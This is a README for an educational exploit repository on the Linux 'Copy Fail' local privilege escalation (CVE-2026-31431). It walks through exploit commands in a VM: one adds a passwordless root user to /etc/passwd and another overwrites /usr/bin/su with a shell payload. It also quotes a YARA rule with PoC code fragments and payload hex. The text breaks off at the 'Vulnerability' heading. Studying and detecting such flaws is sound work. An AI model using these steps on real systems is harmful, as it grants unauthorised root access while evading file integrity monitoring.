CVE-2026-31431 CopyFail Linux Local Privilege Escalation

A demonstration and explanation of CVE-2026-31431, the Linux Kernel Copy Fail Local Privilege Escalation vulnerability. The vulnerability allows for files opened with read permission to have data overwritten in the page cache.

This repository is for educational purposes only and illustrates the vulnerability in a controlled environment. The files included are:

├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

Introduction

The vulnerability, named Copy Fail, is present in Linux kernels from 2017 to 2026 due to a logic flaw in algif_aead. It has been assigned CVE-2026-31431 with a CVSS score of 7.8, leading to a high severity rating. The exploit is deterministic and can bypass traditional file integrity monitoring tools.

Proof of concepts have been published in various languages, including C, Python and Go, but for this demonstration Python is used and requires Python version 3.10 or higher. This exploit requires local code execution as an underprivileged user and can be used for local privilege escalation.

The below sections are:

• Exploitation: Demonstrations of the exploit and how it can be used to gain root privileges.
• Note on Exploitation Detection: An explanation of why this exploit is difficult to detect with traditional file integrity monitoring tools.
• Vulnerability: A link to the commit that introduced the vulnerability and an explanation of the issue.
• Patch: A link to the commit that patched the vulnerability and an explanation of the fix.
• Further Resources: A list of resources for further reading and implementations of the exploit in various languages

Exploitation

Setup

Ensure you have Vagrant and QEMU installed. Then, clone this repository and navigate to the project directory.

vagrant up
vagrant ssh

Inside the VM, we can test the limits of our capabilities.

id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

We are obviously limited in our capabilities, but we can use the vulnerability to escalate privileges.

Exploitation Demo 1: Understanding the Exploit

To understand the vulnerability, lets overwrite a dummy file and see what happens.

echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

We have a file with three lines. The first line has is 6 bytes (newline included), the second line is 2 bytes, and the third line is a single byte. This is important because the exploit overwrites data in blocks of 4 bytes, and we pad the payload to fill it out.

python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

We can see we have relaced the first 8 bytes of the file with our payload. There are two characters that are there but are not printable. Open the file in nano to check. But this is not too exciting, so lets move on to write into files that we do not have write permissions for.

Exploitation Demo 2: Removing the Root Password

We can overwrite the contents of /etc/passwd to add a user with root privileges but no password.

cat /etc/passwd

The first line contains the root user and contains 8 groups of 4 characters (including the newline). It is formatted as follows root:x:0:0:root:/root:/bin/bash, and the values refer to username, password, UID, GID, home directory, shell.

python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

We have added a new user hackd with UID 0 and GID 0, which means it has root privileges. The password field is empty, so we can log in without a password.

su hackd
id
cat /etc/shadow

Exploitation Demo 3: Overwriting an Executable

In the original exploit, the binary /usr/bin/su is overwritten with instructions to execute a shell, allowing the attacker to gain root privileges when executing su. We can recreate this exploit by targetting /usr/bin/su with the original payload from a file. Note that this destroys the su binary in this page cache.

python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

With the payload in place, we can execute su and gain root privileges. This opens a shell with user id 0, which is typically the root user, but if the above demo was carried out, it would be the hackd user we created. This exploit would open a shell even if the root user has a password.

su
id

Note on Exploitation Detection

This exploit does not modify the on-disk file, but rather the page-cache state. As a result, traditional file integrity monitoring tools that check for changes to files on disk do not detect this exploit.

To demonstrate this, run the above exploit(s) and then after a restart of the VM, check the contents of the target file.

vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

Detection rules are shared in community GitHub repos that try to detect network indicators or known script patterns. These detection rules are based on public PoC artifacts, known payloads, code fragments, and URLs.

• Yara rules
• Sigma rules

For example the following would detect specific PoC-related code fragments or encoded payloads:

rule EXPL_LNX_Copy_Fail_Artefacts_CVE_2026_31431_Apr26 {
   meta:
...
   strings:
...
      // Code fragments from public PoCs
      $xs1 = "| python3 && su"
      $xs2 = "g.open(\"/usr/bin/su\",0);i=0;"
      $xs3 = "[-] page-cache mutation failed"
      $xs4 = "[+] /etc/passwd page cache mutated"
      $xs5 = "bind(AF_ALG: authencesn(hmac(sha256),cbc(aes)))"
      $xs6 = "/tmp/.cve_test"
...
      // Payloads used in the Go version
      $xg1 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3"
      $xg2 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858"
      $xg3 = "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578"
      $xg4 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf"
      $xg5 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180"
      $xg6 = "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509"
...
   condition:
      1 of ($x*)
      or ($sa1 and 1 of ($sb*))
}

Vulnerability